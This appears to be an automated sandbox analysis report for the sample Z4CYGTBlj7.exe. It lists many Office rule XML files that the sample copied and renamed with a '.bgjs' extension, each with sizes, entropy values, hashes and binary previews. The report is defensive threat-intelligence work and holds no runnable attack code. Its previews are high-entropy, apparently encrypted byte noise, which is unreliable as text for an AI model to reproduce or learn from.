].T6....-.r+I..Z......p.~......k..gv...T.4+$.h....4H..K..x...........Xp.pQ...$...-K.n..\|.W"......j.w...t.B.0L{.,....U....^..X...3\|.#3.......l.....qr=.......rtT...y>..a..<,.7..Q...k=..p...w,...03...."..../#6...(&.o..B.V.3.n.....EN\...}..b..B.p.U........F..d...TJt....g,0....IR..&...$.hMc2g.....V....Om..w.j......9?..6.e).'.<rh.63.4m.....^.mD>...}...vt....7G...5..,......r!...b.T............M~..0.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.73501320001554
Encrypted:	false
SSDEEP:	12:TKFMJcLCiRKXnNykPng0oqd/xlPvGsQxQJPHVNqHHTO5gyJggiAkU/jkNUQsciik:0LCiSn0Eg4drPvcxcPHsS+yJdIvsbD
MD5:	7089AE3A5621D4AB235A5BDA76AC7700
SHA1:	B1392DA4236090D6127888A87965339B90083346
SHA-256:	CA2A136152623A65EF2874229FE22F649C15B29FBFDE817D74BE7887CBDFC984
SHA-512:	3ACA2557D0DC372DBD3E58A6A888566FDB60848B6CF1BEB6F0B3CD0067E06060B90F283A557C83CB39C1577239EC5803F631735A3F2AD16279BFE678AF29BC24
Malicious:	false
Preview:	<?xml..&.(...#T..9.GX`HX..3.....D.EA\G.E.2......@...N....t..$KW..-...e.E.H..p.}.q...85............F.....%....<..;..U.(/..R.b6.......~.<...m......^jC....'...... ...FG.(PI......U...3M....%...tGG`....D\|.0.M.;.?.c..[5.0/.I...3..$6..({....}..^S...<..Ob..P.....x...0G.Bh.B....a...Z~;Z.S..\..... .+..Q.).......(?..&jA.jW...Km...9...,o.a.m..G.@.!/?.....4.....g.F...Y._w..$....@..qg3..p.#....l#.,....L$.$..;..s..M^K1.....1..9.>.acp.).~.Hc>.ADn....+...].!\o0.. ....p..S}....c./.8.(/..0..\...xg!.RC..[.B.{3.......x..>...=.:.~..{,..c.....,9.....e..L.....#.V../<>a.w`.A&9...k.F..tM\|. n.........H..[@......T.Z.....`...z.....rb..?.%.x..$g......0.lv.r,..rH.&.`%F.....y.....4tJ.1...*./#....B8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.666869824238749
Encrypted:	false
SSDEEP:	12:OdXJ9DH8fwKhT/2n1N0J+8oRa7JzGnEfzT/UJ2a4b0yhhF+CgUYNbjMUQscii9a:Ohz84KhT/GqJ6Ro5GUzTG25yGqWsbD
MD5:	156CF160DE8B961112EE828FCFE43AA5
SHA1:	EF58DBA684FF97849328FD9BA673CA163A2C650C
SHA-256:	7317F888F7DB9E13C6F9FCACA66545020BAD83DD26165DF6461B9A17EDD67FC2
SHA-512:	2CBBAD96CBD4D6B972FE760EBA11B7EEB63B69D6A552A7F2DFA3CAB2C7B0B481ECD2347C45CF20676064B3E8840136D3ECFA2F2300F0F674BA07DE3177337E5E
Malicious:	false
Preview:	<?xmld..F.jX..xF.s.\F...6...6.9b.B.K..a.\|.7..;......z..2....G..f.c.[......+..#t).'...=...As.92...2rj\...!...T....B.6.b....Ya5.......F.....~k...1......xO.j..j.s.._....[.".....PA..M...H..9.[:..<F......BZd...`-.W....f9...=..G.......D...B.~..t`.....A\|...^..>'&xj..(.sX)a.E.t.'w.,.e..S.}A}w)..77v(...g.iO.1H...Vx....`0..6...0..%..6,.L....0.. `....#.......W.-7....gT.<..)#fU]J.._..a.)..w..i.9@(....D.l2.h..eFPt8......+&..8..J3..T....j./..w....-.4[...r..tO....!....Q..[U..k6._.Y..c..=B..\|hi...lo...,.`H..k.._.O.n./o.=.D.OCM.l=.f...q..'v..7...Ozh...W&~....0....5.....V..V=D..:...2"!.G...c=.....krko.{^v...?...y2.)1....%X. ....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.706606661285086
Encrypted:	false
SSDEEP:	24:hE0hmooeibOxcdE2phBpoisPD9n9N1ufsbD:hVncy2p3edr1ufmD
MD5:	1B3D168E1F358FAB54C982B3887CF83C
SHA1:	01024AA5E9B7A119635E279765073FE049750D1A
SHA-256:	7396A6D7EB257044B4B5B689807367E247AE77C0020503E612CDF32FD991034D
SHA-512:	3C9F75DF4C3D4993F5BB1A6633E9D9FEBDEBA28572E7943E471B654E9A7E6511ACCC04281E5FF5C9E15084C372875AF67DA31B7233CE5121DF7D61AFF2B17BC5
Malicious:	false
Preview:	<?xml^B.b.b.2.A\...V..OL..X.s.+......Swr.0..Gyn..4.C.....MV......dV`A..9..?:.Ui.;(dj!c.w.q...I...i.K.D...;P.}7.l..'.H.(........Z.$S^T..R\...\|.....?..]...$..+.9U...0;.0.u4.T.`p.\|.]....f.`7.9;DQL.UL...rFN.K..F/.xP^.R..)n..u.ess.....K.X\|.?....eU.#]..7._....&<...(....O..x.....v.\|{a..l...s7oxA~r82$Z............L....?$.....5Xue.O.P3..pgN..b.<..D.f.w.7h6.k.d...l....{I"..{...e=.,h..k%3d...X.@..... ........,.....Y...~R.......5....rpiO...5....V...`..... ^'..^.2..]F.<.A......\G.b1..H.......^..C.8>...w.n}..Q.....v{..O. .m....)....rxd....K..........k.....~Eln....v..Eu....:..'._.F.xw.J...J..UC...k.<........x.E..4..W......5..g.8...p...b#./.Cv..j.Mbx...?......L;.r...\B%..9i..T ../U@%.,&.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.536025069627466
Encrypted:	false
SSDEEP:	12:yTDxhaA7U6Nuo9nh/LavIrEK1qDWBWyQscii9a:gPP/co9n1akh1FCsbD
MD5:	BDCF8452E28558378ADF3AEA4A5ABC91
SHA1:	1097C3E1AD0D27F2933DF6B1A1DE4FCBAAE0FE62
SHA-256:	046F496D9852DA9B4BAFC893FCA5A8098A199CB7DEAC624FBBB8AB8958D06A56
SHA-512:	DD6E95F09060CDB0DADA8039F77852E28FA53232D04362266C642436D74672196AF5ED9EFB24490139F93F1F5A99442C4CADEF9EDAF8EF4CCDC0B0F4F1795C9A
Malicious:	false
Preview:	<?xml....(."...$."Pv!A.d(.<'D.....".Z.u.xN(..N.._......Lr.X..R....'.h.w.....e..,2.Z......*.J{XL..RnC....l<....../p.d.....5...1"T. ..b1{9.'..$x3r,..?....l.%.6Y5.F.......i.!.M^.i)h.I..S~a.........qz,(..N.......v....D..=.t}+5..~..k...!...\u.Fm6.l...\f..w.sV./f}.....}O..H..h... .bI.r'.1.......$4.^..I. ..&.h.B..7I&..S....\g.$...r..E...0....;...P..Kl.+f....T1.....$Ba.i._=.y.l!...eW.0.p<D=..".i3.uf$.~...Y.8.p<.!....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.917313167745824
Encrypted:	false
SSDEEP:	48:lrq2RyVDuxhcZiPOcIfV6juLqNBCWCvVDNs5K9yTRy+y/yJfKgMCmD:LRyFmhcZrdFLKBXCvFCHTc/aJfKY+
MD5:	CAFB6FDE1A404BCC0F87F57FEEC1F08C
SHA1:	18013DCA41782E5CFC8C92171F3E9B5F97D6715D
SHA-256:	48A7375835721959A9274B00A49BA4167BE76DC9460862031DF0E9D14CCCBA1F
SHA-512:	377D05F082DC21CD88241AC763EC8F8AFE6F46C93785D84DFD44D413375CA391FC6DF1B601B35A620C4BC1B0181B25198CAF773030E0B66BE40D7B17DD13F97C
Malicious:	false
Preview:	<?xml............_.....Wr.i.ej.9.....i....x0.jp._..\|.O+.c-.,.X.}pqQ.6G\|]./.a.(..5. .\4f..?...HW..Uij.H.]4...%..>(.l.w.dk.\|...C......\|[f-.=....h.....8...z.. O..q..&@..m.....@.2...g....^.(X,U.I...$.Q4.f....Y.[kU.Q...y.-.........._..:z.o....'.&.\._.../v..h.s1^.KX..p....g........[....'......s......'..}g.5. ...#...........p....v. -mx..QR...dL.....R.....J..+.7..u.\.9~...2.W0aj.+....O.t..B..d..y.S.......xV<\...F."T(.)"../<....Z..)x.n.2>...n...........b.........3.35:.k.R..W.=.T]Te. .._.g..... D.A..~...a.e9....wc.}..K.H..>...V.5-..q.... .......v)Sss.J..")m.S.7....y..,.M.>........M:....:.b....e........w=.5.R.a..P.........=r.H\.........Y.0}.......L...... ^#W......2...5...-...1...Ip+R..}.4..^50.x...9#.l... .H.D`{....:..-..M.....TN..h..>LI.yl.l./.....)l..&(B.QW...[.. .....=.l..B...%;....1..I....w.Z....O{..7k.m.'=..g.C-.4.i1..d..z..G..i-.b.">MQd....g......e.. "p...=#z..w..UFFT..=..1..Pz!U....3=.2/..w....g.....e.'..e.,.D.}.v.....7.<:

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.841545070368341
Encrypted:	false
SSDEEP:	24:z3GMzjHmxmC8N1HZT881f1AVctaOddSeOwVHrT/NguSrPT1sbD:DfmxmC8fHJ88f17tNDtrT1wT1mD
MD5:	C3182A1E370872D5CCAFBC67275BFAB8
SHA1:	BE23D443E42696724E4B20A9D2ABD56A5A25ED72
SHA-256:	75691AFDBC80AF50F0EAC9D280EC0954714EE06C9345D2DE9C75D3CCA35CF2C7
SHA-512:	3B733FF003E27ED3AEF1EC328BFE8F4B30CFA877D79A71FAE3680487D019E7579EC95CDE4995150B70B962CD24F55A51B4E5A7D50D88BBD41BC08896A5C0E648
Malicious:	false
Preview:	<?xml..e..)..@-.3.?....\.fK.......T....48......0...f...33.{Q....#...4+p..:#..'X..}C...O,...DOo..F..8Dcd.c............~...G.... .........1..7.......o.1y.R....E7Z......Y.`s..(-..;..Bn...............cc.}.f...Y...W...'."n(..t=/.tk...>...rfC..+..2.SL...A...#.F...X.T5..i....=.2..(k..F.y..D.....l..i...<....W..,%.US...of.u.?v0.Qo..$.(..,...'#(..%!t..h+.)_.5...0R.q.`Z....O. .u_h.>.....pZ.....H~.-.Q.....P..,..i.."I..#......ob. h.F].H.R..[\|W.Tz./..0f.c..z.f..+Y.d..c..3....ou3.U.&.....n.GN....A.K..82...?..;7..s%.PY.._....Y~4.".Lj....q.B.k.y.......N...R.....C.9v.>.. +......9Q.~...*...O.ap.6.W.J8..\r.....U..P.7.IxqvK..M(..{i.......@... ..c...\..G@.......D..6...ke.P..$4q.c!.,....<.%K.C......-E...d........T.s.''.k......+.........G~;BG...m.72.Z..5.GX.. c...\|.....}...........G{.%.\Z.h.qg.+m..G.;.. !..b.....HrCOf...{}."'I..F.d.:.........s.......@.8..!.d'.$..0.q............L..~..CMe..,bR>N....U.P\|......i+.....X_.f...4E....=8[.....-[g.Q..Pswi3......0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.753570263848961
Encrypted:	false
SSDEEP:	24:M1D0pNrVu2O9hmyjl6WRG1RRkCsOi7vTkhfsbD:MKmuyjRGRpsO3FmD
MD5:	7DCC5BA9BCF2F5423B6FAA40705F64C1
SHA1:	A0628EDF70EFEC7DF2F5951CEC3837F05F763086
SHA-256:	9CC1ED363207F276007BFE97EB6B13CDF28A38A6A01E30A00CE4FB29B48D5D7B
SHA-512:	C4D2901C9B24CE2A2395852EC66FE1AC4F4544A59594D10A2BCF8CCB373DC3E62518F6F5AA4F14132778C2A9A737E8C10232ABE557B1C8F4BF053E4EB911E4D1
Malicious:	false
Preview:	<?xml...}.j~\........S.V..$..&7..7.\|U.Z..t7.%J..P..X.....X.!.J)..=......[.Q,0....y.T.j!..k...Q....w.R. .....d..r.Vo......H.p.f..L....n..........,.&....Cv..^:y.?..%.1.2.#..\s<..'A.%.?.Fl.......jv..3SN.......\..j..a..xp2.~......;.uee.VB.\._`,UAF.S.g.. .V......^....2.1Q.....eJy.A/.........L..A.s..p...N....s..~jNm..>..x.mO".r.,r...9..T...b...>.%..+.....9{....I...WGg..r.....xS.,..B......?...3....7....!......w.CUu0...._.....=....`.b..OSO.F.z..:...r+...1....$8......3.P..I^q....N.X.o)O...6.h...CmQ.\|M..p.M7....fl=D........xYg.k.yo4..u.....>m.wT..[bq....]I..,..Q.V[...n..... .....<E..g..WW?.^..q(.7....I.k....VCy.1_C....\|...D.HQ..3....H!..R~.7....!;....1..6uz....{.t4..$.W....4.u].B3....".......:.%..3.J!.c...v.\o%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.6071370738687465
Encrypted:	false
SSDEEP:	12:WsoR22fMr7hvMnzKZRJKvPo9p2EE8NoWYQdADXfile5J802Qscii9a:WsoRlfq7xM+ZfKY9RCWYQwfiMJ8GsbD
MD5:	40C499A03B17068161C996C4CE3A9560
SHA1:	4FB70F73D421217BF0B5918B98BAA3BEAA9829AF
SHA-256:	9132E9D0082EADF521617F6A900D595C3F43F6F4544EB59F963DC1B939E75526
SHA-512:	3C65DACB78D2CDDDF28FAD7ED7096ED1C4B2DD85F7C181C73F6AE25DAB71CA8442F10F323FF2FCF6FAB1DE6F726FDBD2710E57D3ED6E3BECD998C945645C86B5
Malicious:	false
Preview:	<?xml..U~.$.E...D..o6.oE\|..yc'.'5...S._...`W.....1.<....cZ..0..N..h.s.....S...l.)..q..jky...A.0.J....0.P.wvT...!...D\|.&......5.fM..Y.L..jN.K...\t\.l..e.\|O...R..\|...R..D.o........Y.\.A4...+....W....Y..9..U..(.<.Z).._...k-.6....K.,@^K.S..Y.14.ra..Al.U...v..6...xPS*........,....l.v..;-.Y.A.).W.,wqN!.B...I.ia.....-.q..=.j..v.$2..j.;.A..f:.Gr...._E!R....^..;...D..Ufb.}..".... ....[y......I.VV.A.C..4...u....4r..\V...?...._dH...\Fo.....`4...H..=.=..G.K..6[.=.u8.0.U!...[.x...;.s"!..t..T..6(.>2cD.3ZG...Jg......F,..A.. .>Xh-..0.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.744499962941623
Encrypted:	false
SSDEEP:	24:+TdGGtc+c6dPfhpdEHp3ZcTttA/4vt1TaRsbD:Mnc6deJ3ZUT7TCmD
MD5:	2F71C08F58DD7582F627349EC3287C87
SHA1:	54545E6C926B087055A1D2F9D25AF61E3BF69495
SHA-256:	84F9A7C0CB2AA42233D811B904D23A60DB8FBC4387CC02D53D1E5BF29421FBA3
SHA-512:	B49FC58E34E06BF288C59915C71D217BA024DEA97D259202AFA7B3590CF763C92FF4DE8B770ACB3FD7939FF19F92D9C31D12428ED4947940DC4E1F25BC363828
Malicious:	false
Preview:	<?xml.>2o......N.yj<N...V."....W........lWj.qp..[...U...k,..3<c9.M...l...&.0.........>...+K.["T.T.OYa#.&..A.^....M.pp....~..1.v55..X...KX.....N.S.!..C.l`..V.$a%V..\6....V..O.I..V....>.....v\|........H.D.G.(....:[.....c{.vDs.."&.(;FC.......&......wZ..../.j...x..d..8..S......t..,..w..k.".....M.....w.1E..Q._.W.P.....j<.!~!&.........h.(.........0...F.I..\|.l..:....Vedbl.r.Q..g..a...jP.9....../.g;'..3.t....`v9Km.P..=Z$-...2.n...13.DNy...Fu...=".Hf.....5.....B.;....0.xV(....y...zVo..#.h.'.oa/64...}..>$0..2..!......(.x.../......z........1>d.....E.=....q....C;..81...\}-......[...X...1...9BJn.q.R...=)n1...s.%...;)..........m...F.b}.._..9......m..)p.s.f.J....T.B...aE...}....)_...l............?.p4.'t3.P....+...JK......11c(. x..n...[U.V..`0r8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.970552930771742
Encrypted:	false
SSDEEP:	192:bPW9poUx4Zk7j9fBJeBj58w2Yo3DTFz/9c4r+/1+:K9pMenNjeNaw2vzca+c
MD5:	6A08A8D5461E4F7B06B11B126085998A
SHA1:	1BB8A89B6433A1CDF423E5BDC4A2DB8735F121DD
SHA-256:	2BEF40CB398D4A225EB6DC8380B2663670438E5D264AE098754ED4FCAD1F701D
SHA-512:	88A37CDD8C3F8B4FF1B57C597A9161E776FC0E03E14E84CEB4382B2B685468D33D7C7DE18D40D803976AAA0D5064600C301C1B86ACB44441F8637A78427D4110
Malicious:	false
Preview:	<?xml...#X.-...a:_"Y..1.o...0..J.D...gA..JiPNO.T0...WQbns....J_..M.ncz....!T7...c....Q.Ca...Q...3V.#..7._.........4.k......O.\|.].....F...i..+8..{....J.1@W..~.{B".F.....,...&....V.w.\|....g8..o@r..f.2........n.!.0..]C.4L.7.V.(s7)..3..\.v....-...0toT..nn.w.fG.}....$5.8......U.......`...Q4.\|.....tV...hY.` vU...~....M..JL(.c.\|..c(G.P.R1...</WB$>...c..1.`.l.&.qcd".W>..j.b5#C..;.!.K.....c.w.9E....g.?S.p%...r.&...;f.C%V.I...6.....4..<.n?.zaH=....(J.VP..../..&?.(r..\|A..y.f..Ha.d..U..7..h.......q.n..=xB9l9...i....+ey.p..<U....\]\|...5a.`...,..O8w.l.8.$.4]e..'G......Z.'e@.H'...V..CL`)....r.Q..%..@..<..lP%DY`.6.Dm.......v.........$......_....DI..WV.l.x.a..?j.h..K....,.M....X......oYa.k_...r...]-...L..........H.[..O`.9..A^.....C..e.Ob_.u0..p."...vi..:.hT@f.~.......VQa..v...O..S'...+..J...b....o..nEp>.....B)..].F..=..,.h.7..-.w............X.]J)..T...;<.\|..o.....f[....P..7%Z..~L.a..}h~.hm{......~......y%%.&0):..X}.S.-rF.....lQ..b....X....z.B......a.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.783088148745171
Encrypted:	false
SSDEEP:	24:5ZfgjVxI4SfUyZMG+2HfgH4e5otAgF2cHr2kRkPcBheVCsbD:TirI3fZNWKF2Q2ceVCmD
MD5:	771C651AA6ADBC5FB0AAD076821B474C
SHA1:	19B3A163879D9D1BE9F4B295C20CBD1A19AC28EE
SHA-256:	9F831DADC6F6CBCAFE52549CA5DF409F3A21DF30978C3728703A6C9E160A4B80
SHA-512:	A9DB73DEE1C6DE549301C92CCB9BD5F6AAB6ACB8479A548D42C76011690A621D475570E03EA3D9648AADD99A2C9817DC3B779FF74022F8CF133749CB4A9D4C8D
Malicious:	false
Preview:	<?xml'.)(.k....e.).m.l..2.]....P. ..pO......z.r.}....1....z.V1Cl........}H.bh.H...9.\|..78...} ......'.g.........<.G....`mg.yi.Td.:>.\|B.EB.A.L...9..... L^]......(;3.I..d\|.[v..zJe5.....E...c...L.HL.(.....[m..z..F!..l=..V<.... ...l.zOD..:7A.N..+.&{g...E"....5QI.....!=.8.G...I..i...5...^.x'./..:&..5.z.$2y..`~..5<..h.{.5.n_..'...{.T.g.....z.......!.P.:n.{O.f.z..>..H..m...0..j.D.....).....'=.E+....Z.DV#..]`.vh.<...g.....=...Fu...]..p....A...j..C..V..X...R.@./.R......G^.KQ.;..^.....)...7H....;5...E....^\.....!....4.0.yR...P.{N...=j.)W....1..u^.r.J.xPd..I.a.Bo".zq<Wu...A..D.h0.).......].NU....I.X.g...n.K.9..y..mp...j^Q..P8..I.r9.h...s.5...O.._.......v.t...IA...R.v..O.......FF...j..7E..Z.!.V.......x%S...\|......?.qj...9j4l@........&.\..}......y.\|+1.M..F..ju..)u...e..zvq2b=.%:. .H. o...e..ap.M.6.s!.j...$.A.[.......H.3.i..Q.ch.....mi@.]0.+~........c..eF........m\|.E..Y.a}P}.?...#\|g..cn....KM6...-8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.812872027326838
Encrypted:	false
SSDEEP:	24:0gZzjnAm5GwwiQN4215h8GLeGb/z9EY3vsbD:HzjAm51GNdjfz99mD
MD5:	35C738A1CEEC1D194518B29E0CD227D8
SHA1:	E4B2B4B1A7C927AEC193AC5650F3C88988B7757E
SHA-256:	8AF494577447834E4F4728A1DA3CDE7DEAE3C5FCCEBEC35922E738D1011CEF75
SHA-512:	4671F26E6558A0DA5AC8D5AAF7DEDF11E53CEB8D7A750723E246AA126732A7E62422476C543F13A01D5CE6A1598849003DFE6D099DCB06C14F5329BEFBB5CE18
Malicious:	false
Preview:	<?xml..Z.....5P..C2..u..r.tQj..Wu.."...#5..Ug.p.T.v..1......a...m.7.}.,.%l...@.P 3\|...P\|.6.O.1...../77.7.r.p.@.CC.9...O...O.feI..zdy.2...dO.[..`.%{F.W..".U-RtKS...Vv.4?........$1..$..$u.....zq'.....He......g......i.^..=...$.\......F5.{2.Cyb.\...v..r.S......<U..x..\|..&..4..c:..pB:.....G...1n.....A.......n..s..B@.o/.^n.!....5..B...Q...U....&.......j..<.Z....#R6...AC\|..T.....f;.....n0.pr..%-L..b...i......".a......\...^...V.%.Wk.M;...........$.Z..Bl.-.S....5..J.r(vA...[.\|...8...;J..7..i;...rF.'.....M....).%W }..7..hD....4a...O....>.%..HFw...~Q/.x.(...N7!r!L..i.%u2...6. ..I.K?L.Z.Y .-w...&....eK.\..e.De..LA1..#F.....I.!..F.~g4dBc.[V..w=.X[.6....u.b....kDS.....h}..dF...k..,;^.....!.%.3_.$.,se.I.WFj.W...........\|().0v..2z......n!.?UJ..].{.P..I_..n..3.KI7.....H..Bm...RG.F..v+Z}...i-..5..p.f...Dw.i.g\|%..._.u...l@...>.{.y.......)..w."1...{..z.p.aPE^.?..n?/...@q..]...5...mC6.sI......*b.KQ..a...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCv

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.868844276057379
Encrypted:	false
SSDEEP:	24:bB54Ggyug+JQ/KN0InsjttgysILtEoEFyaZKdYQ0D4/cFgqHW8jln38RkQ6j+qNH:v4G/+J/6r/YFy8KdYxD4+gq28JMpRmD
MD5:	7030633ACC6B86D257F5BD1D6CF38CED
SHA1:	0430B7265F895C51B58215F3A12ECB2CFB70224A
SHA-256:	985E63A31F0CD52E999BEBD17F5E9612E0E8BBD6B05C6FA9B556869BE7F08FA1
SHA-512:	2282BA2950DE3FCE5287A734F6B0B140D3E7CDAD8C0C2B34B81E699ADF72009041EE3152AC53A4B69D42AE9104E2D204D88DB4877F8A61567A67C7D0A9CBA6CE
Malicious:	false
Preview:	<?xml.Q.3.$..!t...-...$._......K....\|..H..M..i. ..R.......uk.....6c.m..34._.[..&........$....;...6B...k.QoX.D$.......Q...Nj...~.S...b.........@.91..t.3._&....AKK.JI[z&.]........~..~.........Z.f.........Y...O<.=X.5A. ..._.../o\|.....Y#?H....#.\|M...L.IJ.....D.;N.c.A...}`$.9..R..}kEMI)B9..-YN^-n:'o....j.".e....7rB+_..}....OvvJ..'..N..E.=..:.E......C..\|...F&>.j&..NE.te..`....jH..<^..bj}.:.Par;i......9..Y!.G.1....u.n.f.A.z..}s..w1/W...#".>[}.h.Cr..>.M'....Ss.].X.H..N. I.X[....U.../.o..~.]....u...O.h...3H...htm.!h"..yZF...9.......3....l..}t ...OX.Ki.T...b.r.%%.HU..}..p._..E.k....j%.Ba...G."UG...0.^]..W.%..S~.5.....@].Z. ....h...,..........vV.CT.5.Pw..j..P.P.kL.....4...4..n.X..hrk..u`4...?4.....).....d..H7.v6k.\.....YB.tNP......:D...g.`v.......B...N..2..,..N.U..=.X...D+#...E.......c...u49w...:...+....-.&.....t...1H%..R._..2A...)....6.......#..G...H.Rz..A.Np...Ck^u.O...>...F+.a.z...S.<..Xg%]s'.. .."..y'^.6..&.._.........U..m...;...#2......S..(Id.m

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.815687092453563
Encrypted:	false
SSDEEP:	24:775dS0Xevd9uyVleVKkqt38mqUjIGkCzjeo5NEWlQsbD:P5dRXi6y3ekhtMFUjbkgNZCmD
MD5:	C0FBD080B45E025B0077F09FB9E22D53
SHA1:	7C7D000522955C0B8D519812D22EAF408F3D78BB
SHA-256:	418584DE7834CC72783B45FB11BBE5D2E1469638BC4F29BEEDF5077C7FE89B8D
SHA-512:	308CDBB059785C0C854E8620A28B406C01D0CB6959D478ACC340208A6709E2D7908AC54555C4DF3F3A162F9FE335B1A382DAFFBE39F596C5F9F6A04D8AB10044
Malicious:	false
Preview:	<?xml.........a8=.xe..N.`.......TW..6.Yro.....0}R..K..h....}.L[...U)..A\.V5.......Y.x.!.f..+.J.p..<b.N...h{.[...~.t....P}..`.6...,.....<5I.(.8ba..lr..lw.'P..l7....O;..9..O..g.h$..V.R...S..O.....1..>.S8=..[..{.8.A.....-i..{.n..{.av..A...a.u....:..Ns0.%..=6.f...../....a.....b...Bw..X.S'.&.........c....`....\...E....s.P..Z...?W.\.[V....{....o0L....-~..ul...+&.X...[FZ.......C..PnR...L.j.......{Lk.gW>-qo..iOt..@P....0J.,fz....a.3S(o....".Z.;d...`M=R...w.E...n)..Y..\....S...S._u9...$..........J.3.';.$.\|$Z..Q_.FL.....=:FU.@..F#3.....9..P...N.....o...w./.F...mp....uz.\.A...w............$.V2.{;.n].i:.a...>...9u.m8.9..\.v..F..-..S.....A=.G.g...l.C`...h..R=..p!!.@.gx..\...\G'.'.p.p.W.f..:.x.Y..k%58.IRR4..o...'J......1a^[.f.{f..Od....6.).{T.s..2....2.=..f....Z.....g..T.U.H.`.<...Z................;......L\|.a......B~.......q....~.l......F.....`.L..S^...tC.;....._..9T...'.j........{..tV..Y..e..C.N.6.T. ...<b..Z........yj%..c....yQ.(.J<...`.8Dvoq

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.820642605836744
Encrypted:	false
SSDEEP:	24:JMEROntkZL6T1OCSErcoDA9AvLocOZmKpOMq0KQzJg7PvnuX3sbD:JMEROtkZywErc99AvLnOO9NQO7PvO3mD
MD5:	D307E1BD8DD8853FC69B354A38E8AC0F
SHA1:	AB364600964D1DF32BBFBC3070780FC207703163
SHA-256:	FC527DBF0A11DC04553894855C4EA3709FECD21B47C6A01BFE811CD5F9554633
SHA-512:	BCC0C6456332F6198623A9A985E7BEEC1D97BF516B0CE8029554A6495E493E06D31DE9D2804907516605043F242BBFCD0612C0FD1082838DC293871758C5646B
Malicious:	false
